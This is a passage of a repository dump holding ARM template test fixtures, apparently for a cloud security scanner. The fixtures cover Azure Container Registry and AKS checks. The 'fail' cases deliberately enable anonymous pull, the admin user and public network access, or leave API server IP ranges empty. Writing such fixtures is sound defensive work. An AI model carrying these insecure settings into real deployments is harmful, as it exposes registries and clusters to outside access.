    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2021-09-01\",\n      \"name\": \"fail2\",\n      \"location\": \"eastus\",\n      \"sku\": {\n        \"name\": \"Premium\"\n      },\n      \"properties\": {\n        \"anonymousPullEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2021-09-01\",\n      \"name\": \"pass\",\n      \"location\": \"eastus\",\n      \"sku\": {\n        \"name\": []\n      },\n      \"properties\": {\n        \"anonymousPullEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2021-09-01\",\n      \"name\": \"pass2\",\n      \"location\": \"eastus\",\n      \"sku\": {\n        \"name\": \"Premium\"\n      },\n      \"properties\": {\n        \"anonymousPullEnabled\": false\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2021-09-01\",\n      \"name\": \"pass3\",\n      \"location\": \"eastus\",\n      \"sku\": {\n        \"name\": \"Premium\"\n      },\n      \"properties\": {\n        \"zoneRedundancy\": \"Disabled\"\n\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2021-09-01\",\n      \"name\": \"pass4\",\n      \"location\": \"eastus\",\n      \"sku\": {\n        \"name\": \"Standard\"\n      },\n      \"properties\": {\n        \"zoneRedundancy\": \"Disabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass5.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2021-09-01\",\n      \"name\": \"pass5\",\n      \"location\": \"eastus\",\n      \"sku\": {\n        \"name\": \"Basic\"\n      },\n      \"properties\": {\n        \"anonymousPullEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass6.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2021-09-01\",\n      \"name\": \"pass6\",\n      \"location\": \"eastus\",\n      \"properties\": {\n        \"anonymousPullEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRContainerScanEnabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-05-01\",\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Basic\"\n      },\n      \"properties\": {\n        \"adminUserEnabled\": true,\n        \"anonymousPullEnabled\": true,\n        \"dataEndpointEnabled\": true,\n        \"encryption\": {\n          \"keyVaultProperties\": {\n            \"identity\": \"someIdentity\",\n            \"keyIdentifier\": \"someKeyIdentifier\"\n          },\n          \"status\": \"enabled\"\n        },\n        \"networkRuleBypassOptions\": \"AzureServices\",\n        \"networkRuleSet\": {\n          \"defaultAction\": \"Deny\",\n          \"ipRules\": [\n            {\n              \"action\": \"Allow\",\n              \"value\": \"127.0.0.1\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRContainerScanEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-05-01\",\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Standard\"\n      },\n      \"properties\": {\n        \"adminUserEnabled\": true,\n        \"anonymousPullEnabled\": true,\n        \"dataEndpointEnabled\": true,\n        \"encryption\": {\n          \"keyVaultProperties\": {\n            \"identity\": \"someIdentity\",\n            \"keyIdentifier\": \"someKeyIdentifier\"\n          },\n          \"status\": \"enabled\"\n        },\n        \"networkRuleBypassOptions\": \"AzureServices\",\n        \"networkRuleSet\": {\n          \"defaultAction\": \"Deny\",\n          \"ipRules\": [\n            {\n              \"action\": \"Allow\",\n              \"value\": \"127.0.0.1\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACREnableImageQuarantine/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-05-01\",\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Basic\"\n      },\n      \"properties\": {\n        \"adminUserEnabled\": true,\n        \"anonymousPullEnabled\": true,\n        \"dataEndpointEnabled\": true,\n        \"encryption\": {\n          \"keyVaultProperties\": {\n            \"identity\": \"someIdentity\",\n            \"keyIdentifier\": \"someKeyIdentifier\"\n          },\n          \"status\": \"enabled\"\n        },\n        \"policies\": {\n          \"quarantinePolicy\": {\n            \"status\": \"disabled\"\n          }\n        },\n        \"networkRuleBypassOptions\": \"AzureServices\",\n        \"networkRuleSet\": {\n          \"defaultAction\": \"Deny\",\n          \"ipRules\": [\n            {\n              \"action\": \"Allow\",\n              \"value\": \"127.0.0.1\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACREnableImageQuarantine/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-05-01\",\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Standard\"\n      },\n      \"properties\": {\n        \"adminUserEnabled\": true,\n        \"anonymousPullEnabled\": true,\n        \"dataEndpointEnabled\": true,\n        \"encryption\": {\n          \"keyVaultProperties\": {\n            \"identity\": \"someIdentity\",\n            \"keyIdentifier\": \"someKeyIdentifier\"\n          },\n          \"status\": \"enabled\"\n        },\n        \"policies\": {\n          \"quarantinePolicy\": {\n            \"status\": \"enabled\"\n          }\n        },\n        \"networkRuleBypassOptions\": \"AzureServices\",\n        \"networkRuleSet\": {\n          \"defaultAction\": \"Deny\",\n          \"ipRules\": [\n            {\n              \"action\": \"Allow\",\n              \"value\": \"127.0.0.1\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACREnableZoneRedundancy/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"comments\": \"Container registry for storing docker images\",\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2020-11-01\",\n      \"name\": \"fail1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('acrSku')]\",\n        \"tier\": \"[parameters('acrSku')]\"\n      },\n      \"tags\": {\n        \"displayName\": \"Container Registry\",\n        \"container.registry\": \"[parameters('acrName')]\"\n      },\n      \"properties\": {\n        \"adminUserEnabled\": \"[parameters('acrAdminUserEnabled')]\",\n        \"zoneRedundancy\":\n          \"Disabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACREnableZoneRedundancy/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries/replications\",\n      \"apiVersion\": \"2020-11-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[parameters('acrReplicaLocation')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.ContainerRegistry/registries/', parameters('acrName'))]\"\n      ],\n      \"properties\": {\n        \"zoneRedundancy\": \"Disabled\"\n      }\n    }\n  ],\n\n  \"outputs\": {\n    \"acrLoginServer\": {\n      \"value\": \"[reference(resourceId('Microsoft.ContainerRegistry/registries',parameters('acrName')),'2019-12-01').loginServer]\",\n      \"type\": \"string\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACREnableZoneRedundancy/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\":\n      [{\n        \"comments\": \"Container registry for storing docker images\",\n        \"type\": \"Microsoft.ContainerRegistry/registries\",\n        \"apiVersion\": \"2020-11-01\",\n        \"name\": \"pass\",\n        \"location\": \"[parameters('location')]\",\n        \"sku\": {\n          \"name\": \"[parameters('acrSku')]\",\n          \"tier\": \"[parameters('acrSku')]\"\n        },\n        \"tags\": {\n          \"displayName\": \"Container Registry\",\n          \"container.registry\": \"[parameters('acrName')]\"\n        },\n        \"properties\": {\n          \"adminUserEnabled\": \"[parameters('acrAdminUserEnabled')]\",\n          \"zoneRedundancy\": \"Enabled\"\n        }\n      }]\n      }"
  },
  {
    "path": "tests/arm/checks/resource/example_ACREnableZoneRedundancy/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [{\n  \"type\": \"Microsoft.ContainerRegistry/registries/replications\",\n  \"apiVersion\": \"2020-11-01\",\n  \"name\": \"pass2\",\n  \"location\": \"[parameters('acrReplicaLocation')]\",\n  \"dependsOn\": [\n    \"[resourceId('Microsoft.ContainerRegistry/registries/', parameters('acrName'))]\"\n  ],\n  \"properties\": {\n    \"zoneRedundancy\": \"Enabled\"\n  },\n\n    \"outputs\": {\n      \"acrLoginServer\": {\n        \"value\": \"[reference(resourceId('Microsoft.ContainerRegistry/registries',parameters('acrName')),'2019-12-01').loginServer]\",\n        \"type\": \"string\"\n      }\n    }\n}\n    ]\n   }\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRPublicNetworkAccessDisabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-05-01\",\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Basic\"\n      },\n      \"properties\": {\n        \"adminUserEnabled\": true,\n        \"anonymousPullEnabled\": true,\n        \"dataEndpointEnabled\": true,\n        \"encryption\": {\n          \"keyVaultProperties\": {\n            \"identity\": \"someIdentity\",\n            \"keyIdentifier\": \"someKeyIdentifier\"\n          },\n          \"status\": \"enabled\"\n        },\n        \"networkRuleBypassOptions\": \"AzureServices\",\n        \"networkRuleSet\": {\n          \"defaultAction\": \"Deny\",\n          \"ipRules\": [\n            {\n              \"action\": \"Allow\",\n              \"value\": \"127.0.0.1\"\n            }\n          ]\n        },\n         \"publicNetworkAccess\":\"Enabled\"\n      }\n\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRPublicNetworkAccessDisabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-05-01\",\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Standard\"\n      },\n      \"properties\": {\n        \"adminUserEnabled\": true,\n        \"anonymousPullEnabled\": true,\n        \"dataEndpointEnabled\": true,\n        \"encryption\": {\n          \"keyVaultProperties\": {\n            \"identity\": \"someIdentity\",\n            \"keyIdentifier\": \"someKeyIdentifier\"\n          },\n          \"status\": \"enabled\"\n        },\n        \"networkRuleBypassOptions\": \"AzureServices\",\n        \"networkRuleSet\": {\n          \"defaultAction\": \"Deny\",\n          \"ipRules\": [\n            {\n              \"action\": \"Allow\",\n              \"value\": \"127.0.0.1\"\n            }\n          ]\n        },\n      \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-preview-FAILED-3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-02-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": \"yo\"\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-preview-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-02-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-preview-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-02-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"apiServerAuthorizedIPRanges\": [\n          \"73.140.245.0/24\"\n        ]\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-supported-FAILED-2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-03-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"apiServerAccessProfile\": {\n          \"authorizedIPRanges\": [],\n          \"enablePrivateCluster\": \"false\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-supported-FAILED.json",
